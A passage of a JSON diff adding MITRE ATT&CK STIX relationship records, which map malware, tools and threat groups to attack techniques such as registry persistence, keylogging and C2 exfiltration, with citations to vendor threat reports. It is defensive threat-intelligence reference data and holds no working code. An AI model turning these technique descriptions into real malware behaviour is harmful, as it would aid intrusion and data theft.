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Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "modified": "2019-03-25T17:00:47.383Z", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70edcba2-e777-4ced-a52d-5dfc3965211c", + "external_references": [ + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). 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Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit DLL hijacking opportunities in services and processes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9bdcaf47-0df8-44a5-ac10-3f0a806a36f3", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). 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Retrieved September 29, 2015.", + "url": "https://github.com/gentilkiwi/mimikatz" + }, + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + } + ], + "modified": "2019-04-24T23:36:42.302Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "relationship_type": "uses", + "target_ref": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) creates a directory, %USERPROFILE%\\AppData\\Local\\SKC\\, which is used to store collected log files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df207207-01b2-456b-9dc4-7afd5ffeeb46", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. 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Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.537Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HIDEDRV](https://attack.mitre.org/software/S0135) injects a DLL for [Downdelph](https://attack.mitre.org/software/S0134) into the explorer.exe process.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b97e696f-6386-4b15-8f24-81d0abe51830", + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A dropper used by [Putter Panda](https://attack.mitre.org/groups/G0024) installs itself into the ASEP Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run with a value named McUpdate.", + "type": "relationship", + "created": "2017-05-31T21:33:27.058Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55120727-0b7f-4d6a-a881-d17bdc9c85ba", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. 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(2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "modified": "2019-03-25T17:06:37.159Z", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) gathers BIOS versions and manufacturers, the number of CPU cores, the total physical memory, and the computer name.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8bad886-d65a-4652-811f-f8ff9f6bb6db", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). 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Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "modified": "2019-04-16T14:30:35.311Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) contains a .NET wrapper DLL for creating and managing scheduled tasks for maintaining persistence upon reboot.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f120a700-dcac-4c8d-8e92-d6ba3491c2ba", + "external_references": [ + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-06-24T19:05:41.599Z", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) uses the infected hosts as SOCKS5 proxies to allow for tunneling and proxying.", + "type": "relationship", + "created": "2019-01-29T18:55:20.807Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ed5deda-543f-40f7-8f5d-df8f93c545e2", + "external_references": [ + { + "source_name": "Riskiq Remcos Jan 2018", + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "modified": "2019-04-19T14:39:52.992Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can access the victim\u2019s webcam to take pictures.", + "type": "relationship", + "created": "2019-01-29T19:18:28.653Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--30b85048-ba1f-4b43-b9bc-69c27e426039", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. 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Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.607Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:40:40.020Z", + "type": "relationship", + "id": "relationship--6f7ca160-cd38-4ff4-b297-e95b31119e26", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses TCP and UDP for C2.", + "type": "relationship", + "created": "2019-01-29T19:36:02.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae3c0dc8-de95-40bc-bced-a3c61d7ad605", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. 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The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.761Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can monitor processes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a69bd4c0-ddaa-4dec-a35d-b067ae1d95fc", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. 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Retrieved July 18, 2016.", + "url": "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f", + "relationship_type": "uses", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) creates a scheduled task to run itself every three minutes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce459961-3a5a-45f9-b8a4-646e9b475e19", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. 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Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.482Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has detected security tools.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3caf848c-d95b-40ae-a288-2905319e4005", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.053Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the volumes mapped on the system, and also steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79d23451-095d-445d-a61e-3351b55eafde", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.260Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ELMER](https://attack.mitre.org/software/S0064) is capable of performing directory listings.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--10619fa8-c479-4b61-9aac-ee08f00114d1", + "external_references": [ + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) obtains additional code to execute on the victim's machine, including the downloading of a secondary payload.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--24bf6b49-b492-44b0-bcc9-37bfba489d62", + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-17T01:18:32.676Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:53:38.861Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "relationship_type": "uses", + "target_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can list local and remote shared drives and folders over SMB.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ba0b437-e809-479c-a254-172e706c3615", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.998Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) has functionality to copy itself to removable media.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "modified": "2019-04-29T18:23:16.001Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[S-Type](https://attack.mitre.org/software/S0085) may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ IMJPMIJ8.1{3 characters of Unique Identifier}.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d067b113-4584-419f-860b-d3184f734350", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families are capable of downloading and executing binaries from its C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--115562b8-9d7c-435e-af6e-0be6249742d0", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:09.092Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:03:12.940Z", + "type": "relationship", + "id": "relationship--2e5931ef-cc28-49e8-b0c1-7705227ee5cf", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CallMe](https://attack.mitre.org/software/S0077) exfiltrates data to its C2 server over the same protocol as C2 communications.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dbb1d0eb-c7ee-4794-80d4-66e6281cbc63", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) encodes files before exfiltration.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ac475f9-f253-44db-861e-c7303961aa6c", + "external_references": [ + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used PowerShell for execution and privilege escalation.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--110690db-fd9b-425a-9269-ec082f0af3f9", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + }, + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "modified": "2019-03-25T14:25:29.584Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) obtains the victim username and encrypts the information to send over its C2 channel.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--06ef19c1-8490-42cc-b345-45f3aa29fc5f", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[P2P ZeuS](https://attack.mitre.org/software/S0016) added junk data to outgoing UDP packets to peer implants.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--04ba0d26-d931-423e-a3de-713892c0af97", + "external_references": [ + { + "source_name": "Dell P2P ZeuS", + "description": "SecureWorks. (2013). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) uses a keylogger plugin to gather keystrokes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2f180de-6c03-41cd-a6ed-a49ac674740b", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.200Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.975Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27", + "external_references": [ + { + "source_name": "Mandiant APT1", + 